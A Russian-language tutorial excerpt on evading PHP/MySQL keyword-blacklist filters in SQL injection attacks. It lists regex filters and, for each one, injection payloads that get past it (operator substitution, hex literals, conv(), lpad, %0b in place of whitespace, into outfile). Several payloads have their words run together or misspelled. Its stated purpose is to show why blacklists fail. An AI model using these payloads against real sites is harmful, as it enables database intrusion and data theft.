Хелпикс

Главная

Контакты

Случайная статья





[0x01] - FilterEvasion (Mysql)



[0x01] - FilterEvasion (Mysql)

В этом разделе будут описаны поведения filterevasion основанные на PHP и MySQL и то, как обойти фильтрацию. Filterevasion – техника, используемая для предотвращения атак типа SQL-инъекция. Она может осуществляться путем использования фильтрации функций SQL, ключевых слов или регулярных выражений. Это означает, что filterevasion сильно зависит от того, в каком виде хранится черный список или регулярные выражения. Если черный список или регулярное выражение не покрывают всевозможные сценарии инъекций, то веб-приложение по-прежнему уязвимо к SQL-инъекциям.

[0x01a] - Обход фильтрации функций и ключевых слов

Фильтрация функций и ключевых слов оберегает веб-приложения от атак c помощью черного списка функций и ключевых слов. Если атакующий посылает код инъекции, содержащий функцию или ключевое слово из черного списка, то инъекция потерпит неудачу. Тем не менее, если атакующий имеет возможность изменить инъекцию, использовав иную функцию или ключевое слово, то черный список не сможет предотвратить атаку. Чтобы предотвращать атаки, черный список должен содержать много функций и ключевых слов. Однако, это мешает легальным пользователям посылать запросы, содержащие запретные слова. Они просто будут отфильтрованы по черному списку. Следующие сценарии показывают примеры использования фильтрации ключевых слов и функций, а также техники обхода фильтрации.

Фильтруемые ключевые слова: and, or
----------------------------------------------------------------------
код PHP-фильтра: preg_match('/(and|or)/i',
$id)
Ключевые слова and и or обычно используются как простой тест на уязвимость веб-приложения к SQL-инъекциям.
Далее показан простой обход правила с использованием & & и || вместо and и or.
Отфильтрованная инъекция: 1 or 1 = 1 1 and 1 = 1
Пропущенная инъекция: 1 || 1 = 1 1 & & 1 = 1
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union)/i', $id)
Ключевое слово union обычно используется для создания вредоносной инструкции, чтобы выбрать из базы дополнительные данные.
Отфильтрованная инъекция: unionselectuser, passwordfromusers
Пропущенная инъекция: 1 || (selectuserfromuserswhereuser_id = 1) = 'admin'
** Примечание: вы должны знать имя таблицы, столбца и какие-нибудь данные из этой таблицы, иначе вам придется получить эту информацию
из таблицы information_schema. columns, используя другой оператор (например, функцию substring, чтобы получить имя таблицы посимвольно)
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where)/i', $id)
Отфильтрованная инъекция: 1 || (selectuserfromuserswhereuser_id = 1) = 'admin'
Пропущенная инъекция: 1 || (selectuserfromuserslimit 1) = 'admin'
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit)/i', $id)
Отфильтрованная инъекция: 1 || (selectuserfromuserslimit 1) = 'admin'
Пропущенная инъекция: 1 || (selectuserfromusersgroupbyuser_idhavinguser_id = 1) = 'admin'
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, groupby
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|groupby)/i', $id)
Отфильтрованная инъекция: 1 || (selectuserfromusersgroup
byuser_idhavinguser_id = 1) = 'admin'
Пропущенная инъекция: 1 || (select
substr(gruop_concat(user_id), 1, 1) userfromusers ) = 1
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, groupby, select
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|groupby|select)/i', $id)
Отфильтрованная инъекция: 1 || (select
substr(gruop_concat(user_id), 1, 1) userfromusers) = 1
Пропущенная инъекция: 1 || 1 = 1 intooutfile 'result. txt'
Пропущенная инъекция: 1 || substr(user, 1, 1) = 'a'
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, groupby,
select, '
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|groupby|select|\')/i', $id)
Отфильтрованная инъекция: 1 || (select
substr(gruop_concat(user_id), 1, 1) userfromusers) = 1
Пропущенная инъекция: 1 || user_idisnotnull
Пропущенная инъекция: 1 || substr(user, 1, 1) = 0x61
Пропущенная инъекция: 1 || substr(user, 1, 1) = unhex(61)
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, groupby,
select, ', hex
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|groupby|select|\'|hex)/i', $id)
Отфильтрованная инъекция: 1 || substr(user, 1, 1) = unhex(61)
Пропущенная инъекция: 1 || substr(user, 1, 1) =
lower(conv(11, 10, 36))
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, groupby,
select, ', hex, substr
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr)/i', $id)
Отфильтрованная инъекция: 1 || substr(user, 1, 1) =
lower(conv(11, 10, 36))
Пропущенная инъекция: 1 || lpad(user, 7, 1)
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, groupby,
select, ', hex, substr, whitespace
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr|\s)/i', $id)
Отфильтрованная инъекция: 1 || lpad(user, 7, 1)
Пропущенная инъекция: 1%0b||%0blpad(user, 7, 1)
----------------------------------------------------------------------

Из приведенных выше примеров видно, что существует сразу несколько SQL-выражений, позволяющих обойти черный список, хотя он содержит довольно много функций и ключевых слов. Более того, данный черный список можно обойти огромным количеством SQL-выражений, не попавших в примеры.

Увеличение объема черного списка - не лучшая идея для защиты вашего сайта. Помните, чем больше функций и ключевых слов фильтруются, тем сайт менее удобен для пользователей.



  

© helpiks.su При использовании или копировании материалов прямая ссылка на сайт обязательна.